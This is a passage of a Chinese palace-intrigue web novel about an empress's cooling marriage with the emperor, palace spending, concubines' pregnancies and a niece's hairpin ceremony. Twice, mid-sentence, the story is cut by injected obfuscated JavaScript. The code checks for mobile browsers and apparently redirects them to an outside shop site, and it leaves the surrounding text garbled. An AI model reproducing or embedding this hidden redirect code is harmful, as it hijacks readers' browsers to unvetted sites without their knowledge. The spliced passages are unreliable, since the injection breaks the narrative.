冬夜就适合早早上榻,抱着柔软的被子睡个昏天黑地。然而这会儿浑身是汗,虽然已经用温水打湿的帕子擦了两遍,师冉月还是觉得不太舒服,愣是睁着眼睛不愿意睡了。 “听话,外头太冷了,你这会儿去洗澡容易得风寒。”端木玄轻声道。他将帕子随手搭在一旁的架子上,而后侧身躺到床榻的外侧,从师冉月身后拥住她。 师冉月连着叹了两声气,又捂着嘴打了两个哈欠,慢慢道:“大冷天的,谁叫你非要闹......” 端木玄整张脸都蹭在师冉月的肩上,没有搭话,不一会儿便沉沉睡去,只留师冉月一个认命地叹了口气,强迫自己去琢磨明天弄点什么吃的——这是她一贯哄自己睡觉的法子,林绵知道后还不可置信:“旁人都是越想吃的越饿的睡不着,你倒好,竟能因此将自己催眠了。” ——“我晚饭吃得饱嘛。” 如今端木玄食宿都在坤宁殿,她还得为他琢磨些他喜欢的甜食。 唉,明明她最近喜欢吃咸的,真是可恶。 孙姝妙所生的三公主,还没来得及听一听新年的爆竹,尚未满月便夭折了。连着失去了两个尚在襁褓间的幼小的孩子,端木玄虽没有像上次般疯疯癫癫的,只是做什么都没有心气儿,甚至连着在师冉月的坤宁殿住了半个月,白日里上朝也就是走个过场,回来后更是弃奏折于不顾,颇有些昏君做派了。 这些日子朝中小事大多由吴称和官成澈主持着,倒也没什么差池。 不过前几个月,收粮征税,有两个地方鬼迷心窍,报上来的账目与实际上交朝廷的份额竟都没对上。端木玄借机惩治了一番,雷厉风行地收监了几个太守和县令,又抄了几个家,杀鸡儆猴,才叫这地方上层层盘剥与横征暴敛的行径暂时消停了些。 而这样一来,刑部的事儿一下子就多了起来。因为涉及的多是有些人脉和家底的,东西南北的都连着些亲,好些一时都下不了决断,只能一个一个地审,一个一个地商议,再一个一个地判,结果就是直直到年前也没能了断。因为端木玄这些日子消极怠工,孙式便也以三公主夭折而难过成疾为由带头回家过年了。 吴称却是个看不得本应该完成的事情平白堆积在那儿的人。孙式他拽不动,官成澈他还是能要挟的了的,加上一板一眼的吏部尚书赵妥和才升上来没多久急于立功的刑部侍郎宋汤,以及此次主要负责去抄家和清查财产的副都指挥使成巳,几个人没日没夜赶在年关前忙了几日,将具体裁决都敲定完毕,该斩的斩了,该流放的流放了,这才罢了。 “说是杀鸡儆猴,实际上这鸡也是炖到锅里叫各家平分了,朕也就能剩点汤喝喝。”端木玄看了吴称的上书,冷笑道。 师冉月接过来看了看,道:“不过这判决倒是比以往严酷了些,不像是孙尚书的风格。”她指了指其中一条:“比方这涯州太守,明眼人都该晓得他不过是为燕王办事,顶多是为虎作伥罢了,竟连他的三个儿子都判了斩,全家女眷老弱都流放三千里,未免有些过了罢?”比起案例裁决,她倒觉得这像是公报私仇,或者是怕被寻仇的斩草除根了。 师冉月暗自思忖着,端木玄虽然时常疑心,但很少做这种斩草除根的事,竟会启用这般酷吏任刑部高官,倒有几分为自己此番抄底的行径找个替罪羊的意思。 “这次的确不是孙式判的,他称病回家过年去了。不过都是贪官酷吏,手上多少也沾点血,这么判倒也不为过。”端木玄道,“此番主要审理的是吴称和御史台还有吏部,负责写字儿的是官成澈,至于判决,主要是宋汤做的。” “宋汤?这名字有趣,不过倒是个生面孔。” “他从前在御史台做过几年,大化年间外放了,前年才调任回京,先任开封府尹,今年春才调到刑部。” “原是如此。”师冉月点了点头,又道:“不如我们今晚加一道汤罢?” 除夕宴罢,各还各家,端木玄却拉着师冉月爬上了坤宁殿的屋顶,认真左右端详了一会儿,才带着几分醉意坐下道:“这视角,没有清和殿敞亮。” 师冉月拽着他的胳膊,往下瞟了一眼地面上神情焦急无奈的岑嘱全、吴怀安等人,还有一脸镇定的近黛和音儿,叹道:“是,是,臣妾的坤宁殿怎么比得上您的清和殿呢。”想了想,又道:“一会儿玦儿就要过来与我们一同守岁了,陛下这般样子,叫孩子瞧见了怎么是好,还是快下去罢?” “玦儿?叫他一起上来——汐儿也上来。” 师冉月无奈叹气,把端木玄在屋脊上扶正了,便一声不吭径自起身下去了,只叫近黛她们去负责把端木玄弄下来,便拉着恰巧过来了的端木玦进了殿去。 端木玦显然注意到了房梁上的父亲,一双肖似师冉月的眼睛惊异又担忧,他看了看似乎毫不在意的师冉月,忍不住开口:“母后,父皇他可是在为三妹妹难过?我们要不要——” “不用管他。”师冉月打断了他的话,把他安置到炉膛旁边坐好,又将一个小手炉塞到他手里。合月收拾好他的披肩,又将春桃拿过来的竹篮放到他面前:“殿下,这里头有芋头和山药,还有西域的红枣,想吃什么您自己放在炉上烤就好了。”一面说着,一面又将特制的防烫的长筷子放到他手边,便退到一旁去和音儿一起躲个清闲。 端木玦还是放心不下,又起身追到师冉月身旁,可那边香径已经将端木汐抱到了师冉月怀中,端木玦刚开口道:“母后,父皇他......” 话还没说完,端木汐便在师冉月怀中乐了一声,继而又胡乱地蹦出几个意义不明的单字。师冉月高兴得很,抱着女儿逗弄不停,顺道腾出了一只手呼噜了一下儿子的脑门,安慰道:“别担心,玦儿,快去帮母后烤上几个芋头去。” 端木玦叹气,从善如流地去烤芋头。 端木汐太过幼小,还不能守岁,于是师冉月也只是陪她玩了一小会儿便叫香径和乳娘将她抱回偏殿哄睡,自己坐到炉边又往架子上添了几个切好的山药段。 端木玦不敢再重复先前的话题,想了想,问道:“母后,儿臣听说舅父新得一子,可要单独备上贺礼?” “不必。” 陈明月前几个月平安诞下一子,取名师恪,然而端木萌的信中关于此事还没有端木婉的说得多。师冉月回信时也未多言,更未当做什么要紧事,便也没有和端木玦提起。因此端木玦还是年前收到师焕的信时才晓得此事。 “此事因为你云和姑母的缘故,不必特意提起,但也不必为此专意怠慢此子,只是此次年礼赏赐时,照你其他表兄弟的份例多备上一份,再额外添上两件合适的物件就是了。以后逢年过节便只当师家新添了位公子,不论嫡庶。” 端木玦点了点头,却又问道:“可是,母后,舅父纳陈氏为妾,不与父皇宫中这些妃嫔是一样的么,为何云和姑母会不高兴呢?” “她在乎,我不在乎罢了。”师冉月说得坦然,然而话音刚落,却正正与一只脚刚迈进殿内的端木玄眸光相接。 她无暇仔细分辨他的表情,只是做贼心虚般匆匆低下了头,又不自在地装作什么也没发生似的和端木玦没话找话,心下却已然开始祈祷端木玄什么也没有听到。 端木玄也似乎当真没有听到,酒半醒不醒的样子,慢悠悠坐到他们身旁,阻止了端木玦起身行礼,继而拿起一旁的茶壶给自己倒了一杯热茶,就着一块乳糕,开始与端木玦说些闲话。 宫宴结束就已经过了子时,又折腾了这半天,因此这夜也显得短了许多。 天明,帝后与太子依礼赴宗庙祭拜,又赴天地神庙分别祈福,一番折腾下来回到宫中时已快未时末了。 端木玄并没有与师冉月一同回坤宁殿,而是自己回了清和殿,当晚也没有再来坤宁殿就寝。 “娘娘,薄枝说陛下今晚去了江才人的攸宁阁。” 师冉月不满地瞪了罗幕一眼,道:“本宫何时叫你去打听这个了?” 音儿给了罗幕一个眼色示意她退下,自己侍奉师冉月沐浴洗漱,待殿内只剩二人时,才道:“薄枝也是好心......昨夜陛下听了你那句话后显然不太高兴,阖宫上下都看出来了。” “我又没说错什么!”师冉月大声道。 她闭着眼睛让音儿替她按摩着头顶,过了半晌,又小声嘟囔:“云姝与三哥青梅竹马,这么些年也算琴瑟和鸣,虽说他们二人也算联姻,当中也不无利益纠缠,可真情也是在的。我和陛下当年本就是各取所需,这些年生儿育女......也不过是夫妻之间,本就如此罢了。他如今倒与我计较起来这些。” 满心算计各怀鬼胎堆起来的婚姻,不过因着那几分彼此了解的默契或是日常夫妻这一点温情,竟在这宫中,在帝后这个位子上,求起真心相待了么? 音儿轻叹了一声,梳着师冉月的长发,悄声隐去其中的一二银丝,道:“可是姑娘,如今师家也稳定下来了,在这宫中,您与陛下相濡以沫,总比一直互相猜忌防备的好啊。人生不过短短十几载,您如今已经有拥有真情的权力了。” 师冉月没再说话。 说起来,她其实不知道什么算是真情——到底是什么样的感情,叫史书上或是话本里那些神仙眷侣真心不渝生死相待。她少时所思所想,就是应当寻一门门当户对两相助益的亲事,将自己的姻缘人生都与师家荣辱与共牢牢地绑在一处。师吟月是这样的,官和言是这样的,父母兄嫂说白了也都是这样的,纵是他们的心另有所属,纵是这并不是他们的本意。 是以,即使彼时她常常趴在窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233414|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前期待着端木凛的来信,她也并没有觉得,她非端木凛不嫁,甚至大多时候,并没有将那些偷偷藏起的信件与什么情愫联系在一起。 度州的时候,她也仅仅是,心血来潮,想到自己的人生或许有另一种可能,却又从心底抛不掉既有的安稳,更厌恶横生的麻烦和波折。 所以什么算真情呢——她今年已经三十一岁了,竟然在半夜想着这个问题无法安眠,也真是好笑。 乐康二年仲春,才人江映有孕,为免此子与先前夭折的一儿一女蒙受同样不幸的命运,端木玄下旨晋江映为昭仪,并迁居昭成殿。 随后,应贤妃所请,将孙姝妙进位为充容,以示安慰。 整个春日,端木玄与师冉月几乎都没有见过面,仿佛随着冬日里笼的炭火撤去,那点温情也跟着余烬在春风里消散的无影无踪了。 师冉月对此早有准备,表面上看去也并没有受什么影响。 她的皇后之位不是靠她自身的恩宠的来的,自然也不必为这样的冷落而担忧。坤宁殿内有的是事情要她去做,便是围着小厨房的灶台便有无数名堂,何必为了端木玄的阴晴不定费心扰神,得不偿失。 五月初时,新宁长公主命人送了十株三角梅入宫,还配了花匠专门照料,说是为了庆贺皇后娘娘的生辰。 师冉月自然笑纳,命人将其中七株种到御花园去,另外三株专门在坤宁殿新建的温室内养着。 林绵过来时,瞧见她这温室,道:“你倒是真对这些花儿上心。” “那几棵养在御花园水边,纵然开不了花,春水溶溶,也是一番景致。这几棵,我就是想试试这南国的花在中原究竟能不能养开。” “就算养开了也是在温室里,算不得是这京城的水土养开的。”林绵摇着团扇不屑一顾,她看着院中那两坛碗莲,道:“你这殿里——缺点活物,合该把那莲花换成锦鲤。” “锦鲤养着还要喂食,没多久就得换水,不然就是一股味儿。” “莲花的根腐烂了也有味儿,反正又不劳烦您亲自去换水。” 尝了一口罗幕端上来的新白茶,林绵摇了摇头,道:“这茶虽好,不过我来你这儿,还是想讨一口你那蜜茶来吃。” 师冉月失笑,道:“罗幕,快给贵妃娘娘换蜜茶来。”又道,“这些日子倒不常见你。” “我这些日子不知怎么回事,总觉得有些困乏,便只懒着睡觉了。” 自从端木城出宫立府,林绵需要操心的事骤然少了许多,虽也时时牵挂着,但毕竟清闲了不少,竟将出嫁后便扔下的琵琶和月琴都捡起来了。 “人道是,春困秋乏夏打盹,睡不醒的冬三月,如今该夏打盹了,懒着睡觉也是人之常情。”师冉月笑着道。 林绵却不理她,只睨了她一眼,端起罗幕换上来的茶喝了一口,满意地点了点头,又道:“不过这些日子宫里可是热闹。我听说前些日子那赵氏装病避宠,在她自己院子里耍枪还是舞剑,却被陛下撞了个正着?” “是有此事。” “不过陛下竟没就此厌弃她,也是奇了。甚至我听闻,近来陛下最常去的就是清微阁了。” 一只红腹蜻蜓左右盘旋了一阵,轻点水面,带起一阵椭圆的涟漪,一圈一圈,消失在层叠的莲叶下。蜻蜓忽而又振翅飞了,师冉月的思绪飘忽着想起那年冬日的梅花来。 林绵看着她发呆的眼睛,似是明白了她在想什么,抿了抿嘴,道:“在这宫中,无论如何,得宠才是好的,不然一个女子,盛开都没有过,便像朽木一样死在这里了。” “这倒也没错。”师冉月回过神,轻叹道。 江映有孕后,便是俞安乐和赵玉熹承宠多一些,想来一个性子活泼有趣,一个□□不屈,自然也吸引人。当年入宫这些女子中,如今唯有蒋纹仍旧平淡的像没有烧沸白开水一样,偶尔端木玄也能想起她来,但又不喜她平淡的没有一丝波澜似的性子。 “这满宫上下的,哪个不是趋炎附势。如今不用陛下提及,那些时兴的绸缎珠宝也像流水一样送到昭成殿去,再不就是赵才人和俞充仪那儿。蒋才人受陛下冷落,素日里连菜式都是那么几样,连点新鲜的口味都没有。” “我倒也与她说过。”师冉月无奈道:“这孩子却也只说她不晓得怎么讨陛下欢心。我想着,何必为难她做自己不喜欢的事,只要我想起来关照着,总也缺不了她什么。” 林绵点点头:“我记着赵才人与她交好,若能照应着她,便也不错。不过人心最是变幻莫测,来日有什么变数也未可知。” 她想了想,忍不住又道:“我倒觉得,赵才人心中所想虽有些离经叛道,但心却简单,不是那种表面一套背地一套的人。这些人里,唯有一个江映,我如今还不大拿得准。” 江映自入宫后给人的印象便是少言寡语,面上似乎也永远是一副表情,不太疏远更不太亲近。巫蛊一事后,更是深居简出,却又神神秘秘的,不知道如何就得了宠。如今她专心在昭成殿养胎,还特意向师冉月求了邹太医去,更是不大出来见人了。 林绵素来觉得,这种人比起孙姝妙那般心思全然摆在面上的更该堤防些。 师冉月对此倒觉得很无所谓,争宠也好避宠也罢,左右只要不给她找麻烦就行了。这会儿说了这些话,她倒是不太想喝那蜜茶,小半杯新白茶润喉,起身道:“该是用午饭的时辰了,我叫人从苍云江弄了两条鱼来,如今这鱼肉吃着正是鲜嫩的时候。还有一只野山鸡,我倒还没想好该怎么做。” “交给厨子就是了,你何必费这个心呢。” “我闲着也是闲着。罢了,昨日玦儿与我说那野味就该原汁原味的好,不如便清蒸了,若是没有味道,再调了料汁来蘸着吃。”师冉月嘴上一边说着,一边就拔腿往小厨房去了。 林绵无奈又好笑,自己却不喜欢进厨房,便借了师冉月的花具,优哉游哉地到后殿去修剪那一池的垂丝海棠,只等着吃那山野鸡了。 59.第 59 章 夜里,师冉月卸了妆面,头发也尽数披散在肩上,手指捻着账本算了算,道:“这几个月宫中的流水是越发多了,便是上个月,只是在江昭仪身上便花了一千二百两银子。去年后半年阖宫上下统共不过花了十二万两有余,照这样下去,今年岂不是要三十万两不止!” 宫之奢靡,放在从前原不是什么大事,只是如今北边驻边将士的军费还只发下去一半,南边市舶司更是迟迟批不下去钱两。为着此事,端木玄已经取消了乐康元年合该按例举办的选秀,又下旨责令后宫俭省,一年花费不得超出二十万两。 音儿道:“原本江昭仪也是效仿贤妃娘娘的旧例辞谢册封礼的,只是下面的人有意巴结,衣裳和头冠尽是做的新的,光这两项就花费了近千两银子了。” 师冉月叹道:“这在宫中本是常事。我记得当年平卿贵妃封妃时的册封礼前后花了有五千多两银子,丧仪时更是花了三万多两。可当年我在逢州时与那些庄户农人闲聊,他们一家六七口人,一年也花不上一百两银子,这还是家境好些的。若是只求饱腹,恐怕一年不过三五十两银子就能过活了。我在家时随母亲看账,彼时师家一年大约花上六七万两银,我还和姐姐说这是‘朱门酒肉臭,路有冻死骨’,可只有看了宫中这账,才晓得什么是‘朱门’。” 她看着那账上的数字想来想去,叹道:“且待我生辰时,带头捐俸罢。只不过这捐出去的俸禄该如何落到实处,而不是叫那些人贪没了,我倒是没什么法子。” 音儿思索了一会儿,道:“太子殿下不是说蒋大人下个月就要调回京城了么?我记得在王府时,陛下就称赞蒋大人有度支之才,是富国之臣。不如再等两个月,等陛下寿辰或是中秋时,再行捐俸,将这钱交由蒋大人处置。” 师冉月却叹道:“蒋节倒是端方君子,驭财有道。可惜,就算他调任回京,这钱又不能只过他手。但看市舶司就晓得了,若是只凭他的才干就能成事,怎会四五年过去还没有什么成果。”又道:“他这样的人,要是生逢盛世,必然是个像萧何或是房玄龄那样的名臣,只可惜生在如今......我倒期望陛下给他个闲职,虽不能成事,但远离是非争斗,好歹能保住性命。” “那这钱......” “罢了,我且捐出去,其他就看天意罢,只当为我自己和玦儿汐儿积些功德。至于宫中......能省则省,告诉尚书内省,日后凡超过百两的开支,除去日常采买,一律向我禀明细则,未经我批准不得入账领钱。”又道:“如今尚宫的位置空悬,实际上便是烟水领着此职,于我多有不便。我明日便下懿旨将你命为尚宫,日后便也不用劳烦烟水两边受累了。” 一恍淅淅沥沥的雨水下尽了,逢州的日头便像是突然睡醒了似的,毒辣非常。 因着要去山上的善因寺还愿,晏梅兮一早出了门,回来时刚过了正午,恰是日头最盛的时候。行至芥湖,远远瞧见湖中那八角亭四周绿树成荫,想来很是清凉,便在湖边下了马车去那亭中歇脚,及至走近,才发觉亭中还有旁人。 那人似是也瞧见了晏梅兮,站起身来往外走了几步,原是徐酌雨。 “晏夫人,这大热天的,怎么到这儿来了?” “我到善因寺还愿,回来经过此处。倒是县主你,怎么一人坐在此处?” 徐酌雨眉梢轻扬,抬手指了指不远处的酒肆,道:“我与孟继方才到阳曲侯府,将他们家大姑娘的及笄礼送去。这会子本要回去,孟继说那处酒肆的酒别具一格,要带回去两壶,我便在此处等他。” 原本因为孟继是上门女婿,本身又不是逢州人,起初并不受人待见。然而后来众人见一向性子清冷怪癖的徐酌雨与这个夫婿倒是相敬如宾,便也厚待他几分。 “师大姑娘的及笄礼就是半个月后的事情了,届时你们不能到场么?” “十日后我家二房的叔公过八十岁整寿,后日我们便要启程去池州了。师大姑娘及笄是七月初三,彼时我们尚在池州,赶不回来。” “原是如此,这倒也是赶巧了。” 师婷欢的及笄礼就是请了晏梅兮做宾,起初晏梅兮还推辞了一番,毕竟阳曲侯和云和长公主的长女、当今皇后娘娘的侄女,普天之下除了公主便没有更尊贵的女子了。而她与师家虽说算得上亲近,可说起身份也不过是一个太守夫人,这般抬举倒叫她觉得有些惶恐。 端木萌却说:“‘贤而有礼者为宾’,你又哪里不够格?” 瞧着端木萌是真心如此,晏梅兮才不再推辞。而她又听闻此前师霖与端木萌曾考虑过的女宾有安南郡主的女儿贺氏以及千里迢迢到逢州来参加师婷欢及笄礼的昌邑大长公主的儿媳苗氏和燕王妃秦氏,这便更叫她忍不住提起万分精神来。尤其是有关仪式流程的细节上,甚至瞧着比端木萌这个做母亲的还谨慎些。 及至七月初三当日,几乎是安南郡主寿宴的所有宾客原样又赶赴到了师家,甚至于如燕王府的内眷这般自涯州赶来的,还有似燕氏、官氏、步氏的家眷这般自京城至逢州的,更不必说唐氏、萧氏、言氏等有姻亲或是转折亲的家眷自各地纷至沓来。 师家门前车水马龙,络绎不绝,钗环闪烁,罗衣如云。 而至中堂,又是雍容肃穆,不闻喧哗。 到了吉时,师婷欢梳双髻、着短衣,自后步出,面若出水芙蓉,不施粉黛,却自是青春姣好,一双像极了母亲的杏眼明亮有神,此时却显露着端庄沉着,不卑不亢,别有风采。 她移步至冠席,由晏梅兮致祝词,再由赞者协助,为其梳头加笄。 加笄后,师婷欢回房更衣,再至冠席,由晏梅兮为她换上发钗,再致祝词,而后回房更大袖长裙,又回冠席,卸发钗,加钗冠,又更礼服,这才三加礼成。 随后,师婷欢移至醴席,由执事酌酒,请宾受酒,再致醴词。再由师霖亲自为其取字“令姜”。 至此礼成,师婷欢又移步至父母身前拜见,再向前来观礼的一众亲长见礼致谢。师霖与端木萌随后代女儿及师家众人向晏梅兮以及众宾客致谢,请众人移步中庭宴饮,众人方才又恢复了交谈说笑,一时间热闹非常。 而婷欢此时才得以回到自己的院子中,摘下钗冠交给青芜保管,又换上常服,重新理了发髻,也不着急去席上,至于早等在这里的妹妹们喝茶歇息。 莞安几人都对那钗冠好奇不已,只因这是师冉月亲自赐下来的,提前一年就由宫中的匠人依着师冉月的授意按郡主的规制制作,又提前半个多月千里迢迢由宫中禁卫与府上的私卫交接护送到逢州。整个府上虽是金银珠宝无数,尤其二加礼的发钗便是由端木萌亲自设计的赤金镶珠攒玉花蝠钗,然而若要能与这顶钗冠争辉,也只有当年端木萌下降时带的婚冠能与之匹敌了。 婷欢无奈笑道:“方才你们做赞者,不是也瞧见了。” 及笄礼的赞者一向由笄者的姐妹或好友担任,因着幼芷几个年纪尚小,婷欢的赞者便由景安、莞安以及官闻霰和唐家的表姐唐浟担任。 莞安叹道:“方才大家都那般严肃,我害怕出错,连大气儿都不敢喘,哪有功夫欣赏那顶冠子!” 棠欢也在旁边叫道:“我不是赞者,我还没看过!” 婷欢只得叫飞絮去找青芜,再将那钗冠拿回来叫妹妹们看一看,嘱咐景安过会儿便将它再收好,自己便先到席上前去应酬。 景安瞧着莞安一双眼直直地盯着那冠出神,忍不住推了推她,笑道:“昭昭,你莫要急呀,明年就是你及笄了。”又道:“方才我还听见有几个长辈说笑,说女宾一向应从亲眷长辈中选,晏夫人与咱家尚且无亲,怕是日后要联姻呢。” 莞安小脸一红,从那头冠旁走开,背身对着景安,想了半天道:“二姐姐,你还有功夫取笑我,那怀宁长公主前些天还写信来催,只盼着你一及笄便嫁过去呢。” 景安闻言并没有什么波动,她对岳添没有什么感觉,但也不厌恶,对这桩婚事也谈不上喜不喜欢,只是不想太早离家罢了。“我总要等大姐姐出嫁后再嫁。” 话是这么说,可她心中也明白,虽然师家未分家,他们这些堂兄弟姐妹比一些人家亲生的兄弟姐妹还要亲近些,然而到底分属两房,算起来她是二房长女,婷欢是三房长女,二人出嫁各论各的,谈不上次序。 况且燕寂去年刚中了二甲第六名,如今外派在寻县,听三叔三婶的意思,想来应当是要等燕寂三年任期满,将他调回京城或是调到逢州这边来再让婷欢出嫁,这么一看,至少是两年后的事了。若是怀宁长公主那边催得急,恐怕她也不好拿婷欢的婚事做推辞。 这般想着,旁边幼芷和棠欢在案上玩骰子,碰翻了茶杯,险些就波及到那顶钗冠。景安忙叫青芜将那钗冠收起来,又听说官氏姐妹要来寻她,这才更衣也去了前面。 中庭宴上皆是女眷,座次皆是端木萌精心安排的,凡是挨着坐的两家夫人间先前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238789|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断然未曾生过嫌隙,因而自是欢声笑语不断。 宴后,端木萌与端木婉又安排上了年纪的夫人和老夫人们午歇,未出阁的姑娘们则是随着婷欢和景安到了花园中,喝上一碗酸枣茶或是红豆薏仁水,继续吟诗作赋,或说些闺房中的话,没有长辈们和男子在场,自是没了拘束,无论平时便是活泼爱闹的还是腼腆沉静的,眉眼间的神色都飞扬了不少。 官闻霰和姐姐官闻霁这些年都在京城,与其他人家的姑娘都不大熟悉,倒是与师家姐妹们小别一载有余,思念非常,亲亲热热地说了好些话。 官闻霰因着与师玘定了亲,方才在前面时一直有些放不开手脚,尤其行及笄礼时师家几位公子都在场,她就更不敢往他们所在的那边打量。 婷欢瞧出来她的不同,只笑道:“霰妹妹,你与我三弟既然都已定了亲,又不是要成亲了,此时相见也没什么大不了的,怎么瞧着你比起原先还羞赧了些?” 官闻霰本是坦率的人,这会儿便也直说道:“原本未订亲时,我也从未往这方面想,自然坦荡。如今......我总怕别人打趣,更懒得与旁人解释什么,便觉得还是不见面为好了。” “我们又不会打趣你。” “方才你们还打趣莞姐姐和景家公子呢!” 婷欢理亏,只好住口。 官闻霁一向不喜欢这些情爱之事,常批之为“小儿女之情”。她在家中翻出姑母官和言未出阁时的手记后,便一心想效仿她早年那般随父兄走遍任上各地,见山川辽阔,听异乡奇事。可惜她盼了好久,直到前年与安老大人的长孙定了亲,也没等到官成澈外放。 又未成想她才一定亲,伯父官成潜就赴外任职。她本想跟着一同前去,却被母亲阻挠在家备嫁,只好默默期盼将来自己的夫婿能外放,最好永远调不回京城才好。 景安听了她的心事,叹道:“先前在京城时,怀宁长公主倒是与我透露过,有意叫我与岳家小侯爷成婚后便一同回岳家祖籍蒲城去。可我倒觉得京城虽似牢笼,但离家人近些。嫁到旁人家,又去到人生地不熟的去处,那才可怖。” “你性子安静,的确不太适合远游,不过......”官闻霁四下看了看,放低了些声音道,“京城到底不是什么好去处。我与我娘说起时,连她都支持我日后离京城远些。倘若朝中一旦生变,在外还有些应对的时间,可在京中或许连反应的时间都没有,稍有不慎就会被波及。” “这倒是真的。”婷欢点头赞同,“不过换言之,只要我们能掌握局势,在京城反倒消息灵通。” 官闻霰皱眉道:“就是不在京城,我如今也常听闻各地起义或是叛乱的消息,连匪患都是轻的。前些年今上刚登基时似乎好些,近些日子不知怎么又多了起来。若是遇上这种事,在外又无人能援,抄家灭门之祸也是有的。” 官闻霁却道:“起义、叛乱、匪患,这些都是明面上的路数,京城那些事却是暗地里的。反正我觉得,要想在京城留住脚,一个个都得是弯弯绕绕的花花肠子,不然就算没有举家之祸,光是后宅争执也够诡谲汹涌的。我这人直来直去,这辈子是练不出那般本事。” 其余三人被这话逗笑,却也不敢就此事多言,便玩了会儿叶子牌消磨到傍晚,各家姑娘们三三两两的随着长辈们归家去了,这才罢休。 莞安午后在婷欢的榻上睡着,再醒时竟就到了晚饭的光景,一时有些心烦意乱。走到母亲院中,又听见端木婉似乎在与端木萌讨论自己的婚事,她便逃也似的离了那院子不敢再听下去。今日景家几个公子都没来,晏夫人待她又越发亲昵,加上众人的议论调侃,如今一提到什么“景家”什么“婚事”的她便羞得不敢再想下去。 转悠回去又没发现婷欢和景安的人影儿,她想着去找幼芷,又不免想到四婶婶如今身披缟素心如死灰的样子,便不忍到那院子里去,便自己一个人蔫蔫地回了房,叫丫鬟成喜到厨房给自己弄碗黄鱼面来。 坐在房中,看着两个姐姐绣的那些鸳鸯或是大雁纹样的帕子,又不免想起自己的婚事来。 “要不然就定下罢,和景琮。”她吃了一口黄鱼面,自言自语道,“反正嫁到了景家,也有黄鱼面吃啊。” 大事化小,小事化了,人生真理也。 这般想着心里便舒坦了许多,一碗热腾腾的面下肚,师莞安全然恢复了精神和力气,筷子一撂,像毛茸茸的雏鸭一样挺胸抬头的就找母亲去了。 60.第 60 章 又是晒桂花的时节。 只是今年师冉月忙着操心侄女师景安的婚事,对桂花也不大上心了,音儿瞧着那花可惜,便叫几个小宫女照常采着晾着,哪怕师冉月不要了,底下人分一分放在香囊中也比任凭那些花儿变成满地积英再归入尘泥的好。 近一个多月,赵玉熹和俞安乐先后有了身孕,喜上加喜。师冉月唯恐有什么岔子,便托林绵帮忙照料,又给徐聆雨也带了话去。 “本宫倒不用她帮着照料,只消看好孙氏就是了。” 孙姝妙自从失了孩子,彻底消沉了一阵,然而自从江映有了身孕后,她便像是发起了神经,还被人听去了诅咒的话。师冉月怜悯她到底失了自己亲生的孩子,便也不与她计较,又恐怕她做出什么更进一步的事来,便禁了她一个月的足,却又觉得她本就心情沉郁烦倦,才会口不择言,倘若禁足久了只怕心气儿更加不好,便改成了抄写佛经,另叫徐聆雨好生劝慰她。 也为着如今这宫中事忙,原本音儿早与师冉月说好,一进八月便出宫归家,直到明年过完年再回来,而尚宫一职便由木莲暂领。可如今也只得推到过完中秋再走。 “这当头俞充仪和赵才人都有了身孕,又要筹备中秋宫宴,娘娘你偏又要揽了为二姑娘送嫁的事儿,真是自找苦吃。”音儿看她喝着调理气血的药苦得直撇嘴,叹道。 “怀宁长公主偏要景姐儿一及笄就成亲,还为了此事上书陛下,陛下也准了,便是再不能推辞了。如今我那兄嫂都不在京中,又不好提前回来,我若不看着准备着,岂不叫景姐儿这婚事草草了事?” 音儿心想着,便是师冉月不理会这事儿,平承郡主也不会叫自己女儿的婚事草草了事的,只道;“娘娘莫忘了,先头你为了大姑娘及笄做的那顶钗冠已是超了规制,言官还专就此事弹劾。” “钗冠花的银两是从我自己的月俸中拿出来的,关他们何事?此事吴大人、官大人他们也都清楚。”师冉月道,“那言官就是没什么可说的,纯粹多嘴罢了。何况,我上个月捐出去那些银钱,都够再置办五顶钗冠了。” 陇西旱灾无人治理,各地匪患无人平乱,城下流民无人管理,国库缺银无人献策,只看着这一顶钗冠不放,实在是舍本逐末。 音儿只是又叹了一口气,道:“前日啼樱写信来,说她的长子已经会走了,她自己又盘下一间铺面卖胭脂水粉,如今日子过得是风生水起。” 师冉月闻言,眼神有些怅惘,道:“我记得......去年从谁那里听说,水杏的长子都成亲了。算起来她离开我竟有十六七年了,真是吓人。”话语间一恍神,她又想起那年她曾问端木玄的话,心中像是有蚂蚁啃噬,泛起一阵酥麻的不安。 “娘娘,怀宁长公主递了帖子,想要明日进宫见您。”罗幕进来道。 师冉月莫名地慌乱了一瞬,转身之际竟碰掉了放在妆台边上的木梳。上好的檀木砸在地上,发出一声清脆又温吞的脆响,而后自当中裂成了两半。音儿连忙上前将木梳捡起收到一旁,笑道:“娘娘少时也总弄断木梳。” 师冉月顺着她的话笑了笑,对罗幕道:“本宫晓得了。你回了长公主的帖子,顺路再到辰阳殿去请林贵妃过来,本宫有事与她相商。” “太夫人,方才行湘过来,请您回府上团年。” 锦姨合上门扉,往手上哈了哈气,又取下披风挂在门边衣架上,这才走到岳诗韫床榻前,又帮她掖了掖被子,道:“我替您回绝了。四夫人叫人带话来,说初一那日要来看您,我也回绝了。” 岳诗韫缓缓睁眼,沉默了一会儿,叹道:“我听说她大病了一场,到上个月才慢慢好了,却又感了风寒......也难为她还记着我。” 锦姨也跟着叹了口气:“四夫人是个纯良温顺的人。” 岳诗韫扭了扭头望向窗外。 